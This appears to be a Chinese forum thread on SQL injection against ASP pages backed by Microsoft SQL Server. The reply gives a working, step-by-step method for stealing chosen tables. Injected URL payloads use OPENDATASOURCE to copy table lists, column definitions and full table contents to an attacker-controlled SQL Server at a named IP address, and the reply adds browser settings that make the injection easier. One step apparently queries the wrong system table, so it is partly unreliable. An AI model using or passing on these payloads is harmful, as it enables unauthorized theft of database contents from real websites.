|
错了。。出错信息被屏蔽了。。怎么办?经过研究发现是里边的某些字符例如 +号需要转化成16进制。。或许还有别的地方要转化。。怎么办啊?
---------------------------------------------------------------------------------
这是浏览器导致的,并非对方的asp所谓,一些特殊符号不能直接在浏览器里面输入,
其实没有必要全部转换成%xx的模式,写个htm里面javascript
window.location.href=".....这里随便你了......"
就可以了,该转码的都会自己转码。
另外用sqlinject记住两点
浏览器选项高级里面
1. UTF8一定要关闭
2. 友好的http信息显示一定要关闭
另外如果要偷取一个对方库里面指定一个表的数据,简单的办法就是
假设你的本地sqlserver ip是202.99.8.1 sa空 1433 tcp 默认库pop
1。 创建一个表,两个个字段number和varchar(255)就可以,表名[tmp1]
2。 然后
news.asp?id=5 insert into opendatasource('sqloledb','driver={sql server};server=202.99.8.1;network=sbmssocn;address=202.99.8.1,1433;uid=sa;pwd=;database=pop').pop.dbo.tmp1 select [id],[name] from sysobjects where xtype='U' --
3。 无看看你的tmp1的内容,找到你想要的那个表,比如[news]对应的id=12345
4。 在你的sqlserver执行 select * into [tmpcolumns] from syscolumns where 1=2
5。 然后
news.asp?id=5 insert into opendatasource('sqloledb','driver={sql server};server=202.99.8.1;network=sbmssocn;address=202.99.8.1,1433;uid=sa;pwd=;database=pop').pop.dbo.tmpcolumns select * from sysobjects where id=12345 --
6。 现在看看tmpcolumns你已经得到这个news的所有字段信息了
7。 根据字段本地创建创建新表[newtable]
8。 然后
news.asp?id=5 insert into opendatasource('sqloledb','driver={sql server};server=202.99.8.1;network=sbmssocn;address=202.99.8.1,1433;uid=sa;pwd=;database=pop').pop.dbo.newtable select * from [news] --
以上方法不需要猜测表名,也不需要是sysadmin,所以只要有sqlinject漏洞并且是sqlserver的话,那么绝大多数都可以通过。并且你可以指定你要的表你要的字段,而不需要去down整个庞大的库。
不过sqlinject真的没必要花太多的精力在上面。
注:select * into [tmpcolumns] from syscolumns where 1=2的1=2判断绝对没有写错,这么做是一种复制表结构的偷懒办法
|
|